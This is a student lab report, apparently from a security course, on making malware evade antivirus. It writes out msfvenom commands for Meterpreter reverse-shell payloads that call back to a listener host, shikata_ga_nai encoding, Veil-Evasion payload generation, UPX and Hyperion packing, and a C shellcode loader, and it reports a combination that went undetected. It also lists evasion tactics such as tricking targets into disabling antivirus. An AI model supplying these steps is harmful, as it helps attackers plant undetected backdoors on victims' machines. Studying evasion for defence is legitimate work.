一、实验准备
1.1 免杀
-
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
-
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
-
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
1.2 基于特征码的检测
-
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
-
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
1.3 免杀技术(Evading AV)综述
就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。
所以总体技术有:
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
1.4 实验环境
kali 64位(虚拟机),win10 64位(主机,并安装杀软电脑管家)
二、实践内容
2.1 正确使用msf编码器
·把上次生成的后门文件放在网站VirusTotal上检测一下,可以看到之前用msf生成的后门程序还是有一定危险性的,但是大多数杀软都能检测到,所以不能实现免杀
·打开kali Linux,在终端输入指令 msfvenom --list encoders 查看编码器,这次实验中选用 x86/shikata_ga_nai 进行编码
·在终端输入,尝试1次编码 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai-b '\x00' LHOST=192.168.231.128 LPORT=5133 -f exe >20175133bd.exe
和8次编码 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b '\x00' LHOST=192.168.231.128 LPORT=5133 -f exe >20175133bd.exe
·再把文件放在网站VirusTotal上检测一下,当我把文件拖出到主机时就遭遇删除,由此可见还是一样的结果,看来多次编码对免杀也没有太大帮助
2.2 msfvenom生成如jar之类的其他文件
·在终端输入 msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.231.128 lport=5133 x>20175133_ja.jar ,生成java文件
·把文件放在网站VirusTotal上检测一下,查杀率还是很高,不能实现免杀
2.3 mfsvenom生成php文件
·在终端输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.231.128 LPORT=5133 x> 5133_php.php,创建php文件并检测,检测率较低
·在终端输入 msfvenom -p android/meterpreter/reverse_tcp lhost=
2.4 veil
·安装veil
·在终端输入:
git clone https://github.com/Veil-Framework/Veil-Evasion.git cd Veil-Evasion/ cd setup ./setup.sh
·安装完之后,切换到Veil-Evasion目录下使用python Veil-Evasion.py打开这个工具
·安装完成后使用管理员身份进入veil,在终端输入指令 veil
·输入指令 list payload 查看有哪些payload(一共有41个,截图截不下了)
·选用上图的 22),输入指令 use 22(powershell/meterpreter/rev_tcp) ,配置参数
set LHOST 192.168.231.128 //反弹IP地址 set LPORT 5133 //反弹端口号 generate
·取名就用默认的好了,就叫payload,然后顺着给的路径找到它
·再再再次在VirusTotal上检测一下,效果还是不怎么地
2.5 加壳工具
·输入指令 upx 20175133bd.exe -o 20175133bd.upxed.exe 给之前生成的20175133bd.exe加个压缩壳
·还没检测又被清除了
·试用一下加密壳(Hyperion)
·移动初始文件20175133bd.exe,到路径/usr/share/windows-resources/hyperion/中
·输入指令wine hyperion.exe -v 20175133bd.exe 20175133bd.upxed.Hy.exe加加密壳,结果还是很明显,不仅提示高危,而且还被直接隔离了
2.6 使用C + shellcode编程
·终端输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.231.128 LPORT=5133 -f c 利用msf生成C语言shellcode
·生成一个c文件,命名为 5133_shellcode ,并输入内部代码:
#includeunsigned char buf[]=<生成的shellcode>; int main() { int (*func)()=(int(*)())buf; func(); }
·输入指令 i686-w64-mingw32-g++ 5133_shellcode.c -o 5133_shellcode.exe将c文件转变成exe文件,这次杀软倒是没有直接查杀,那就放到网页上看看,还是老样子。。
2.6 使用其他课堂未介绍方法
·同上面步骤,在root账户下打开veil,同上面步骤,这次换一个语言cs,输入指令 use 11
·同上面一样配置文件,一次输入 IP,端口号,最后生成文件
set LHOST 192.168.231.128 //反弹IP地址
set LPORT 5133 //反弹端口号 generate
·放到主机上,系统和电脑管家都没有查杀,在线检测一下,也没有发现耶
2.7 通过组合应用各种技术实现恶意代码免杀
·选用shellcode+加壳试一下
·终端输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.231.128 LPORT=5133 -f c生成C语言的shellcode
·生成c文件5133_shellcode2并注入shellcode
·输入指令 i686-w64-mingw32-g++ 5133_shellcode2.c -o 5133_shellcode2.exe将c文件转变成exe文件
·输入指令 upx 5133_shellcode.exe -o 5133_shellcode.upxed.exe 加一个压缩壳
·拖到主机上依旧没有被查杀,但是之前生成的exe文件和单纯的压缩壳文件有被查出
·看来好像成功了。。。
三、 问题回答
·杀软是如何检测出恶意代码的?
答:杀软有自己的病毒库、特征库,当出现有与之相同特征的程序或代码时,便会查杀,其实也是利用了恶意代码之间的共性。
·免杀是做什么?
答:为了避免杀软的查杀,伪装自己,来达到存活在受害机的目的。
·免杀的基本方法有哪些?
答:加外壳、利用shellcode编码,有的还可以改变文件属性或者伴随着正常程序运行来迷惑杀软
·开启杀软能绝对防止电脑中恶意代码吗?
答:不能,恶意代码的更新速度远超过杀软特征库的更新速度,如果出现了某种新的恶意代码,杀软的特征库没有相关的程序特征,就不能防止,而且通过实验可以知道是有手段达到免杀的。
四、 实践体会
这次实践让我对恶意代码有了更深层次的了解,以前通过信息安全技术这门课仅仅知道恶意代码的工作原理,而这次亲手生成并且做到免杀更是让我感受到网络安全的弱点不容小觑,在学会恶意代码的知识的同时,我们更应该加强自身对于恶意代码的防范。而且我真的佩服veil和msf的开发者,功能真的很强大,也让我意识到了“电脑管家”的弱点,果断换一个杀毒软件,保护自己的信息安全。实践过程中遇到最大的问题就是veil的安装,下载的太慢了,最后问了同学后更改了软件源后就方便了许多。